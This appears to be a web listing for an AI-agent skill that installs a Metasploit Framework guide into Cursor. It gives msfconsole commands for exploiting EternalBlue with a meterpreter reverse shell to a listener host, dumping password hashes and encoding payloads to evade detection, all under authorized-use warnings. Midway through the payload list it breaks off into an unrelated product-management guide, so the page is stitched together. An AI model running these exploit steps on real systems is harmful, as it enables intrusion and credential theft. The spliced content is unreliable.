Fetches metasploit-framework from sickn33/antigravity-awesome-skills and configures it for Cursor.
3
Select Cursor when prompted
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
◆ Which agents do you want to install to?
│
│ ── Universal (.agents/skills) ────────────────
│ · Cline · Codex · Goose · Windsurf
│ ●Cursor(selected)
│ · Cursor · Aider · Continue
4
Verify installation
Confirm successful installation by checking the skill directory location:
.cursor/skills/metasploit-framework
Restart Cursor to activate metasploit-framework. Access via /metasploit-framework in your agent's command palette.
⚠
Security Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
Prerequisites
Required Tools
# Metasploit must already be installed before using this skill.# Kali Linux usually ships with it preinstalled.msfconsole --version
Installation varies by operating system and package source. Follow your platform's documented package-manager or vendor installation process before using this skill. Do not rely on an unpinned remote installer script from inside this skill.
If you want database-backed features such as workspace tracking, initialize msfdb using the instructions for your local installation. This skill assumes Metasploit is already available and does not require sudo, systemctl, or other privileged host-level setup steps.
Required Knowledge
Network and system fundamentals
Understanding of vulnerabilities and exploits
Basic programming concepts
Target enumeration techniques
Required Access
Written authorization for testing
Network access to target systems
Understanding of scope and rules of engagement
Before running exploit modules, ask the user to confirm the exact target host, scope, and authorization state.
Outputs and Deliverables
Exploitation Evidence - Screenshots and logs of successful compromises
Session Logs - Command history and extracted data
Vulnerability Mapping - Exploited vulnerabilities with CVE references
Post-Exploitation Artifacts - Credentials, files, and system information
Core Workflow
Phase 1: MSFConsole Basics
Launch and navigate the Metasploit console:
# Start msfconsolemsfconsole
# Quiet mode (skip banner)msfconsole -q# Basic navigation commandsmsf6 >help# Show all commandsmsf6 > search [term]# Search modulesmsf6 > use [module]# Select modulemsf6 > info # Show module detailsmsf6 > show options # Display required optionsmsf6 >set[OPTION][value]# Configure optionmsf6 > run / exploit # Execute modulemsf6 > back # Return to main consolemsf6 >exit# Exit msfconsole
Phase 2: Module Types
Understand the different module categories:
# 1. Exploit Modules - Target specific vulnerabilitiesmsf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - Code executed after exploitationmsf6 > show payloads
msf6 >set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - Scanning, fuzzing, enumerationmsf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - Actions after compromisemsf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - Obfuscate payloadsmsf6 > show encoders
msf6 >set ENCODER x86/shikata_ga_nai
# 6. Nops - No-operation padding for buffer overflowsmsf6 > show nops
# 7. Evasion - Bypass security controlsmsf6 > show evasion
Phase 3: Searching for Modules
Find appropriate modules for targets:
# Search by namemsf6 > search eternalblue
# Search by CVEmsf6 > search cve:2017-0144
# Search by platformmsf6 > search platform:windows type:exploit
# Search by type and keywordmsf6 > search type:auxiliary smb
# Filter by rank (excellent, great, good, normal, average, low, manual)msf6 > search rank:excellent
# Combined searchmsf6 > search type:exploit platform:linux apache
# View search results columns:# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
Phase 4: Configuring Exploits
Set up an exploit for execution:
# Select exploit modulemsf6 > use exploit/windows/smb/ms17_010_eternalblue
# View required optionsmsf6 exploit(windows/smb/ms17_010_eternalblue)> show options
# Set target hostmsf6 exploit(...)>set RHOSTS 192.168.1.100
# Set target port (if different from default)msf6 exploit(...)>set RPORT 445# View compatible payloadsmsf6 exploit(...)> show payloads
# Set payloadmsf6 exploit(...)>set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set local host for reverse connectionmsf6 exploit(...)>set LHOST 192.168.1.50
msf6 exploit(...)>set LPORT 4444# View all options again to verifymsf6 exploit(...)> show options
# Check if target is vulnerable (if supported)msf6 exploit(...)> check
# Execute exploitmsf6 exploit(...)> exploit
# ormsf6 exploit(...)> run
Phase 5: Payload Types
Select appropriate payload for the situation:
# Singles - Self-contained, no stagingwindows/shell_reverse_tcp
linux/x86/shell_bind_tcp
# Stagers - Small payload that downloads larger stagewindows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
# Stages - Downloaded by stager, provides full functionality# Meterpreter, VNC, shell# Payload naming convention:# [platform]/[architecture]/[payload_type]/[connection_type]# Examples:windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
›Access to product documentation and roadmap tools (Jira, Notion, etc.)
›Understanding of product management frameworks (RICE, Jobs-to-be-Done, etc.)
›Stakeholder contact information and communication channels
Time Estimate
30-60 minutes to see productivity improvements
Steps
1Install product management skill
2Start with user story generation for known feature
3Progress to competitive analysis: research 2-3 competitors
4Use for roadmap prioritization: apply RICE/ICE scoring
5Draft stakeholder communications and refine based on feedback
6Build template library for recurring PM tasks
7Share effective prompts with product team
Common Pitfalls
⚠Not validating competitive research—verify facts before sharing
⚠Accepting user stories without involving engineering team
⚠Over-relying on frameworks without qualitative judgment
⚠Not customizing outputs to company culture and communication style
⚠Skipping stakeholder validation of generated requirements
Best Practices
✓ Do
+Validate research and competitive analysis with real data
+Collaborate with engineering when generating technical requirements
+Customize frameworks and templates to your company context
+Use skill for first drafts, refine with stakeholder input
+Document successful prompt patterns for PM tasks
+Combine AI efficiency with human judgment and intuition
✗ Don't
−Don't publish competitive analysis without fact-checking
−Don't finalize user stories without engineering review
−Don't make prioritization decisions solely on AI scoring
−Don't skip customer validation of generated requirements
−Don't ignore company-specific context and culture
💡 Pro Tips
★Provide context: company goals, constraints, customer feedback
★Ask for alternatives: 'Show 3 ways to prioritize this roadmap'
★Request stakeholder-specific formatting: 'Executive summary vs. engineering spec'
★Use skill for 70% generation + 30% customization to company needs
When to Use This
✓ Use when
Use for user story writing, competitive research, roadmap prioritization, stakeholder communication, and PRD drafting. Best for reducing repetitive documentation and research work.
✗ Avoid when
Avoid for strategic product vision (requires deep customer empathy), pricing decisions (needs market and financial expertise), or when face-to-face customer discovery is more valuable than speed.
Learning Path
1Basic: user stories, feature specs, status updates
